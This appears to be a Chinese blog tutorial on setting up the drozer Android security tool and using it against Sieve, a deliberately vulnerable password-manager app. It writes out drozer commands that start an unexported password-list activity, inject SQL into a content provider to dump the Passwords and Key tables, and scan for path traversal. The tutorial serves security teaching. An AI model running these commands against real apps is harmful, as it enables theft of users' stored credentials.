0x00:前言
Android中的app其实存在着很多应用缺陷,很多时候都需要对其进行安全评估,drozer就是其中一个很好的工具。这里用到一个app是sieve(一个密码管理器),它本身存在的缺陷就可以作为测试的样本。
0x01:
安装sieve后进去配置好密码,PIN码后,随便添加一个需要管理密码的信息
0x02:安装drozer
tips:我的平台是windows,安装时有几个坑
下载了drozer后安装,跟进到drozer目录下运行drozer.bat,显示如下即是安装成功
接着在下载的drozer文件夹里面有个agent.apk文件,将其安装到手机上并运行如下
然后adb forward tcp:31415 tcp:31415转发一下
接着运行drozer console connect的时候会显示如下
解决方案:
在drozer目录下创建一个.drozer_config文件(windows下无法直接创建.开头的文件,方法为先创建一个1.drozer_config文件,再用rename命令修改)
其中添加以下几行(其中为java和javac的路径)
[executables]
java=F:\Java\jdk1.8.0_66\bin\java.exe
javac=F:\Java\jdk1.8.0_66\bin\javac.exe
创建后再运行,显示如下即运行成功
(如果出现Erron 10061或者Erron 10054,解决方法请见:http://blog.csdn.net/ksr12333/article/details/39181057)
0x03:演示drozer如何评估app
(1)首先可以列出所有包名run app.package.list -f sieve 这里就不全部列出了,用-f关键字可以筛选你想测试的app
获取基本信息(例如:sieve版本,权限信息,用户ID,组ID,数据目录等)
run app.package.info -a com.mwr.example.sieve
(2)Itentify the Attack Surface(确认攻击面) run app.package.attacksurface com.mwr.example.sieve
debuggable就可以让我们用adb绑定来监测该app
接着获取该Attack Surface的信息 run app.activity.info -a com.mwr.example.sieve
启动Activity run app.activity.start –-component com.mwr.example.sieve com.mwr.example.sieve.PWList(PWList一看就是password列表一类的包,所以运行它)
(3)进行SQL注入
用projection和selection参数可以将SQL语句注入到Content Provider中
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection ""
这里报错就表示可以注入。继续run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection ""
用run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;-"命令可以选择具体需要列出的表。
这是基于Android操作系统建议使用SQLite数据库存储用户数据。SQLite数据库使用SQL语句,所以可以进行SQL注入。
(4)从Content Provider中获取信息
run app.provider.info -a com.mwr.example.sieve
可以看到Content Provider的具体信息,权限等等
查看Content Provider的URI(数据泄露)
run scanner.provider.finduris -a com.mwr.example.sieve
我们尝试查看具体信息 run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ –-vertical
可以看到加密的密码以及设置的信息
(5)检测是否存在遍历文件漏洞
run scanner.provider.traversal -a com.mwr.example.sieve
上面的部分比较简单的演示了drozer的基本用法,更加详细的请见官方文档:
https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf
0x04:总结
drozer强大的评估功能(SQL注入检测、Content Provider检测、遍历文件漏洞、以及根据漏洞捕获敏感信息)为我们在处理一个app时提供了很大的帮助,也希望借此分享给所有热爱Android安全的朋友。如果有什么地方没写对,望不吝指正。
0x05:参考
来源:https://www.cnblogs.com/7top/p/5796661.html